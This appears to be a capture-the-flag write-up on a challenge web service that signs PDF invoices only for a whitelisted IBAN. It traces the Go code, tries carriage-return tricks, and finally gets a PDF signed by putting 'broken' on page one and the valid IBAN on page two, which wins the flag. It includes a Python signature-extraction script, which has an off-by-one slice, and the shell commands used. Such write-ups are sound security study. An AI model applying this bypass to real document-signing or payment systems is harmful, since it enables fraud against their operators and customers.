---
# System prepended metadata

title: Hacked Account

---

# Hacked Account
#### attempted by Petiole - e-seng

## figuring things out
- first opening the file, noticed a few things:
  - provided "IBAN" value: `GB29NWBK60161331926825`
    - found within the input, idk if this is important
    - line 174 seems to check if a value is `GB29NWBK60161331926825`, so probably important
  - looks to be written in a language i'm unfamilar with... Rust possibly?
    - the use of `panic(...)` and `fmt.Printf(...)` indicate Rust to me
    - the use of `func` deters that...
    - `code_snippets` can still be copied to `processFile.rs` to get some nice nice syntax highlighting
    - could still be pseudocode of some sort. either way, doesn't matter.
    - was later told this was "Go", helps to look up documentation
  - ~~no main function provided, but `-B` and `-o` are cli arguments, file is named `enscript` probably~~
    - ~~`ps2pdf` is another linux command~~
  - `enscript -B -o | ps2pdf - legitimate.pdf` generates a pdf
  - this pdf, containing an invoice ID, IBAN value and Service, is signed and then validated by the website

### reminders for myself:
- declarations take the form of one of the following
  - `var <variable name> <type>`
  - `<variable name> <type>`, for function arguments particularly
  - `func <function name>(arguments) (return types) {...}`
- existing functions are:
  - `func processFile(w http.ResponseWriter, r *http.Request){...}`
  - `func checkBankAccount(path string, issigned bool) (string, error){...}`
  
## GOAL
- create a signed pdf file with IBAN "broken"

## code tracing
### processFile
- this is called when an unsigned pdf is uploaded most likely
- calls `checkBankAccount(...)` twice
  - once at the very beginning after creating a tmp file
  - if signing file:
    - at this point, the user is looking to sign the pdf
    - states the file is unsigned at this point
    - tmp file may be prone to path redirection, using
      ```rs=
      filename := filepath.Base(handler.Filename) + ".content.check";
      ```
    - regardless, it is read and removed immediately
    - once the file has been verified:
      1. create a md5 hash of the pdf
      2. convert text hash into 16 bytes of data numerical data (?)
      3. creates a RSA signature based off these 16 bytes
        - [notes on rsa-signatures](https://cryptobook.nakov.com/digital-signatures/rsa-signatures)
    - after receiving the signature, *append* the signature to the original message
    - then, write tmp file, send it back to user, delete tmp file
  - if validating file:
    - expects file to be at least 256 characters long
    - signature is 256 characters, which are the last 256 characters of the file
    - extracts the original message (bytes between the range [0, length - 256))
      - hashes it, gets the numeric 16 byte value from it
    - verifies the RSA signature by passing the 16 byte hash and signature
    - if verfied, check if "broken" (only) is IBAN value and return flag if so.

### checkBankAccount
- opens the provided file path (to a tmp file w/ the pdf data it seems)
- is told if the file is signed
- always moves to the second row, probably to read the IBAN value?
- if the file is not signed:
  - check the second row to see if the file matches a regex pattern:
    - `^GB\d{2}\s?([0-9a-zA-Z]{4}\s?){4}[0-9a-zA-Z]{2}$`
  - returns that the pdf is "verified" with no errors if the account number is whitelisted

## potential attack vectors
- validate pdf, alter it, then resubmit
  - "money transfers occur on re-uploaded, validated forms"
  - since the pdf is downloaded, try tracing the "validated" pdf for the IBAN in question and replace it
    - this would get thwarted by any hashes, but we'll see i suppose
  - it's a pdf... so it's iky to parse through
  - after exploration of the code, it does use a hash, so this is not viable.
- try to reverse private key...?
  - know that the last 256 bytes compose the rsa signature, so pull that out...?
  - also, we have the original message file, and its hash
  - (see signature extraction below)
  - current issues with approach:
      - unknown values: d, e, and n
      - known values: m, s
      - will be difficult to reverse probably
  - mess around with values...?
- trick web application to sign the incorrect file?
  - web app directly checks for the correct IBAN value
  - regex may be vulnerable, does not look like it.
- (probably not going to work) try copying old RSA key, append it to target pdf file
    - yeah, no lol
- mess around with carrage returns?
  - since the program checks for "GB29NWBK60151331926825" and "broken" on the second line,
    use a carrage return to dump both onto the second line by writing specific bytes
  - (see carrage return below)
- `checkBankAccount` checks the banking number across multiple pages it seems
  - validates if "GB29NWBK60161331926825" is on any third line of a page
  - what happens if we create multiple pages...?
  - see multipage below

### signature extraction
- create a python script that can strip the signature of the signed pdf
- expected: last 256 bytes of the file are the hash, the bytes up to the signature should contain the same md5 hash as the unsigned pdf file
```python=
#!/usr/bin/python3

import hashlib
import sys

def main():
    # usage: ./extract_signature.py <signed pdf>
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <signed pdf file>")
        return

    with open(sys.argv[1], "rb") as signed_pdf_file:
        read_dump = signed_pdf_file.read()
        signature_bytes = read_dump[-256:-1]
        message_bytes = read_dump[0:-256]

        msg_hash = hashlib.md5(message_bytes)

        print(f"message hash:\n{msg_hash.hexdigest()}")
        print(f"signature hex:\n{signature_bytes.hex()}")

    return

if __name__ == "__main__":
    main()
```

- a sanity check:
```
$ md5sum legit.pdf                       
0f8e8a384de9531bda886191a00c705a  legit.pdf

$ ./extract_signature.py legit.pdf.signed
message hash:
0f8e8a384de9531bda886191a00c705a
signature hex:
96114effc6d8886b19644f5e7f1806210d9912759f06eaa7e2a5e036616f9546c6fd69bb07eb0f6dddc77334f48e53e615150c73b417404ea1dd06f56e36d2492a23e8927f46e5acac0dde13892fe1eb1ccef10894091293271bb8389842a0df809698d4c4c2932385517a3b30e5c2bf54e87d60493af4d589014d446bf412d2457dd6e902daf6992bcfcb3e10524a3be5594b1586f357741b2b89be73560e883475851e283afdc5a999bff500dd42e5b1fd3bf436d2f79e9a896c75466364c374aa5ab4666c5ae919b2e8951f6e386baa1a4676bdf65f3bbb1e566b7fb5cddf19371d76e4dfb40ed3fe9018c933d80eeb7b7d87455cc6d956f7a6747636c3
```


### carrage return
```python=
with open("./dump.txt", "wb") as f: f.write(b"a\na\nGB29NWBK60151331926825\rbroken\n")
```
- this creates a text file with the correct bank account, but then goes back to write "broken" on the same line.
- looking at the hex-dump:
```
$ xxd dump.txt                                                         
00000000: 610a 610a 4742 3239 4e57 424b 3630 3135  a.a.GB29NWBK6015
00000010: 3133 3331 3932 3638 3235 0d62 726f 6b65  1331926825.broke
00000020: 6e                                       n
```
- looks good i think...?
- converting this into a pdf shows
```
a
a
GB29NWBK60151331926825
broken
```
- but "broken" seems to overlap "GB29NWBK60151331926825"!!
- time to verify... here's hoping
- ... seems to have failed unfortunately...
- maybe reverse carrage return...?
```python
with open("./dump.txt", "wb") as f: f.write(b"a\na\nbroken\rGB29NWBK60151331926825\n")
```
- this also fails to sign

### multipage
- immediate question: how many lines does a page have?
  - to find out: throw a lot of lines into a pdf to create 2 pages, see where one page ends
```
$ python3 -c "[print(i) for i in range(100)]" | enscript -B -o - | ps2pdf - dumb_test2.pdf
[ 2 pages * 1 copy ] left in -
```
- based off this, it is seen that a page ends at line 64

- now: let's make sure that this is still signable:
  - for sanity: create pdf with 2 pages, correct bank account on first, "broken" on second
```
$ python3 -c "print('a\na\nGB29NWBK60161331926825\n'+'\n'*62+'a\na\nbroken\n')" | enscript -B -o - | ps2pdf - dumb_test2.pdf
[ 2 pages * 1 copy ] left in -
```
- here: correct bank account is on third line, first page, "broken" is on third line second page
- this signs!

- now: check if it still signs if the correct bank account is on the second page rather than the first.
```
$ python3 -c "print('a\na\nbroken\n'+'\n'*62+'a\na\nGB29NWBK60161331926825\n')" | enscript -B -o - | ps2pdf - dumb_test2.pdf
[ 2 pages * 1 copy ] left in -
```
- here: "broken" is on third line, first page, correct account id is on third line, second page.
- **this SIGNED**
  - yay

- now, when i validate this, it should read "broken" first
- ***THIS WORKS!!!*** - flag got

flag: `d4451b8f-5ac2-4c0e-8f68-df0c989bf8fc`
